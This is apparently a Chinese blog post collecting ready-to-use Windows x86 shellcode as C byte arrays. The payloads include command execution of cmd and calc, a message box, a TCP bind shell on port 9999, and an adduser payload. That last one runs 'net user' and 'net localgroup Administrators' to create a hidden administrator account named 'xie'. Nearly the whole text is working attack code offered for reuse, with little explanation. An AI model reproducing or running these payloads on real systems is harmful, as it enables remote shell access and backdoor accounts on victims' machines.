积累的一些常用shellcode

//windows/exec {CMD=cmd, Encoder=generic/none} 195 bytes.
char shellcode7[]=
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31"
"\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52"
"\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1"
"\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52"
"\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b"
"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b"
"\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3"
"\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b"
"\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b"
"\x12\xeb\x86"                                                        //LoadLibraryA
"\x5d\x6a\x01\x8d\x85\xb9\x00"
"\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5"
"\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d"
"\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75"
"\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff"
"\xd5\x63\x6d\x64\x00";

//ShellExecute(0,"open","cmd",0,0,1)207B
char shellcode2[]="\xEB\x67\x55\x8B\xEC\x64\xA1\x30\x00\x00\x00\x8B"
"\x40\x0C\x8B\x40\x14\x8B\x00\x8B\x70\x28\x80\x7E\x0C\x33\x75\xF5\x8B"
"\x40\x10\x8B\xF8\x03\x7F\x3C\x8B\x7F\x78\x03\xF8\x8B\xDF\x8B\x7B\x20"
"\x03\xF8\x33\xC9\x8B\x34\x8F\x03\xF0\x41\x8B\x54\x24\x08\x39\x16\x75"
"\xF2\x8B\x54\x24\x0C\x39\x56\x04\x75\xE9\x8B\x7B\x24\x03\xF8\x8B\x0C"
"\x4F\x81\xE1\xFF\xFF\x00\x00\x8B\x7B\x1C\x03\xF8\x49\xC1\xE1\x02\x8B"
"\x3C\x0F\x03\xC7\x5D\xC2\x08\x00\x68\x72\x6F\x63\x41\x68\x47\x65\x74"
"\x50\xE8\x8A\xFF\xFF\xFF\x50\x68\x4C\x69\x62\x72\x68\x4C\x6F\x61\x64"
"\xE8\x7A\xFF\xFF\xFF\x50\x68\x6C\x33\x32\x00\x68\x53\x68\x65\x6C\x54"
"\xFF\xD0\x83\xC4\x08\x6A\x41\x68\x63\x75\x74\x65\x68\x6C\x45\x78\x65"
"\x68\x53\x68\x65\x6C\x54\x50\xFF\x54\x24\x1C\x83\xC4\x10\x68\x63\x6D"
"\x64\x00\x8B\xDC\x6A\x00\x68\x6F\x70\x65\x6E\x8B\xCC\x6A\x01\x6A\x00"
"\x6A\x00\x53\x51\x6A\x00\xFF\xD0";

//弹出对话框190b
char shellcode1[]="\xEB\x67\x55\x8B\xEC\x64\xA1\x30"
"\x00\x00\x00\x8B\x40\x0C\x8B\x40\x14\x8B\x00\x8B\x70\x28\x80\x7E"
"\x0C\x33\x75\xF5\x8B\x40\x10\x8B\xF8\x03\x7F\x3C\x8B\x7F\x78\x03"
"\xF8\x8B\xDF\x8B\x7B\x20\x03\xF8\x33\xC9\x8B\x34\x8F\x03\xF0\x41"
"\x8B\x54\x24\x08\x39\x16\x75\xF2\x8B\x54\x24\x0C\x39\x56\x04\x75"
"\xE9\x8B\x7B\x24\x03\xF8\x8B\x0C\x4F\x81\xE1\xFF\xFF\x00\x00\x8B"
"\x7B\x1C\x03\xF8\x49\xC1\xE1\x02\x8B\x3C\x0F\x03\xC7\x5D\xC2\x08"
"\x00\x68\x72\x6F\x63\x41\x68\x47\x65\x74\x50\xE8\x8A\xFF\xFF\xFF"
"\x50\x68\x4C\x69\x62\x72\x68\x4C\x6F\x61\x64\xE8\x7A\xFF\xFF\xFF"
"\x50\x68\x33\x32\x00\x00\x68\x75\x73\x65\x72\x54\xFF\xD0\x83\xC4"
"\x08\x68\x6F\x78\x41\x00\x68\x61\x67\x65\x42\x68\x4D\x65\x73\x73"
"\x54\x50\xFF\x54\x24\x18\x83\xC4\x0C"                       
"\x33\xD2\x52\x68\x66\x6C\x6F\x77\x68\x4F\x76\x65\x72\x68\x65\x73"     //MessageBoxA的参数
"\x73\x00\x68\x73\x75\x63\x63\x68\x6F\x69\x74\x20\x68\x45\x78\x70"
"\x6C\x52\x8D\x5C\x24\x14\x53\x8D\x5C\x24\x08\x53\x52\xFF\xD0\x83\xC4\x24";

//system("cmd") 未遍历得到LoadLibrary和GetProcAddress ,打开cmd,170b
char shellcode5[]="\xEB\x60\x55\x8B\xEC\x64\xA1\x30"
"\x00\x00\x00\x8B\x40\x0C\x8B\x40"
"\x14\x8B\x00\x8B\x70\x28\x80\x7E"
"\x0C\x33\x75\xF5\x8B\x40\x10\x8B"
"\xF8\x03\x7F\x3C\x8B\x7F\x78\x03"
"\xF8\x8B\xDF\x8B\x7B\x20\x03\xF8"
"\x33\xC9\x39\x4C\x24\x08\xB9\x47"
"\x02\x00\x00\x74\x05\xB9\x3E\x03"
"\x00\x00\x8B\x7B\x24\x03\xF8\x8B"
"\x0C\x4F\x81\xE1\xFF\xFF\x00\x00"
"\x8B\x7B\x1C\x03\xF8\x49\xC1\xE1"
"\x02\x8B\x3C\x0F\x03\xC7\x5D\xC2"
"\x08\x00\x68\x72\x6F\x63\x41\x6A"
"\x00\xE8\x94\xFF\xFF\xFF\x50\x68"
"\x4C\x69\x62\x72\x68\x4C\x6F\x61"
"\x64\xE8\x84\xFF\xFF\xFF\x50\x68"
"\x72\x74\x00\x00\x68\x6D\x73\x76"
"\x63\x54\xFF\xD0\x83\xC4\x08\x68"
"\x65\x6D\x00\x00\x68\x73\x79\x73"
"\x74\x54\x50\xFF\x54\x24\x14\x83"
"\xC4\x08\x68\x63\x6D\x64\x00\x54"
"\xFF\xD0";

// system("cmd") 打开cmd,183B
char shellcode3[]="\x68\x72\x6F\x63\x41\x68\x47\x65"
"\x74\x50\xE8\x41\x00\x00\x00\x50\x68\x4C\x69\x62\x72\x68\x4C\x6F"
"\x61\x64\xE8\x31\x00\x00\x00\x50\x68\x72\x74\x00\x00\x68\x6D\x73"
"\x76\x63\x54\xFF\xD0\x83\xC4\x08\x68\x65\x6D\x00\x00\x68\x73\x79"
"\x73\x74\x54\x50\xFF\x54\x24\x14\x83\xC4\x08\x68\x63\x6D\x64\x00"
"\x54\xFF\xD0\x83\xC4\x14\xEB\x67\x55\x8B\xEC\x64\xA1\x30\x00\x00"
"\x00\x8B\x40\x0C\x8B\x40\x14\x8B\x00\x8B\x70\x28\x80\x7E\x0C\x33"
"\x75\xF5\x8B\x40\x10\x8B\xF8\x03\x7F\x3C\x8B\x7F\x78\x03\xF8\x8B"
"\xDF\x8B\x7B\x20\x03\xF8\x33\xC9\x8B\x34\x8F\x03\xF0\x41\x8B\x54"
"\x24\x08\x39\x16\x75\xF2\x8B\x54\x24\x0C\x39\x56\x04\x75\xE9\x8B"
"\x7B\x24\x03\xF8\x8B\x0C\x4F\x81\xE1\xFF\xFF\x00\x00\x8B\x7B\x1C"
"\x03\xF8\x49\xC1\xE1\x02\x8B\x3C\x0F\x03\xC7\x5D\xC2\x08\x00";

// windows/exec {CMD=calc, Encoder=generic/none} 196 bytes
char shellcode6[]=
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31"
"\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52"
"\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1"
"\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52"
"\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b"
"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b"
"\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3"
"\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b"
"\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b"
"\x12\xeb\x86"                                                    //LoadLibraryA
"\x5d\x6a\x01\x8d\x85\xb9\x00"
"\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5"
"\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d"
"\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75"
"\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff"
"\xd5\x63\x61\x6c\x63\x00";

//windows/shell_bind_tcp {LPORT=9999, RHOST=127.0.0.1} 341 bytes.
char shellcode9[]=
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31"
"\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52"
"\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1"
"\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52"
"\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b"
"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b"
"\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3"
"\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b"
"\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b"
"\x12\xeb\x86"                                 //LoadLibraryA

"\x5d\x68\x33\x32\x00\x00\x68"                 //WSAStartup
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07"
"\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54"     //socket
"\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf"
"\xe0\xff\xd5\x89\xc7\x31\xdb\x53\x68\x02"     //bind
"\x00\x27\x0f\x89\xe6\x6a\x10\x56\x57\x68"
"\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7"     //listen
"\xe9\x38\xff\xff\xd5\x53\x53\x57\x68\x74"
"\xec\x3b\xe1\xff\xd5"                         //accept

"\x57\x89\xc7\x68\x75"
"\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00"
"\x89\xe3\x57\x57\x57\x31\xf6\x6a\x12\x59"
"\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01"
"\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56"
"\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68"
"\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56"
"\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5"
"\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d"
"\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75"
"\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff"
"\xd5";


// windows/adduser { COMPLEXITY=false, PASS=xie, USER=xie} 275 bytes.

char shellcode8[]=
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31"
"\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52"
"\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1"
"\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52"
"\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b"
"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b"
"\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3"
"\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b"
"\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b"
"\x12\xeb\x86"                               //LoadLibraryA

"\x5d\x6a\x01\x8d\x85\xb9\x00"
"\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5"
"\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d"
"\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75"
"\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff"
"\xd5\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f"
"\x63\x20\x6e\x65\x74\x20\x75\x73\x65\x72"   // net user  xie xie /ADD 

"\x20\x78\x69\x65\x20"            //用户名xie
"\x78\x69\x65\x20"                //密码xie

"\x2f\x41\x44\x44\x20"                       
"\x26\x26\x20\x6e\x65\x74\x20\x6c\x6f\x63"
"\x61\x6c\x67\x72\x6f\x75\x70\x20\x41\x64"
"\x6d\x69\x6e\x69\x73\x74\x72\x61\x74\x6f"
"\x72\x73"                                        // net localgroup Administrators  xie /ADD

"\x20\x78\x69\x65\x20"    //用户名

"\x2f\x41\x44\x44\x00";



  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值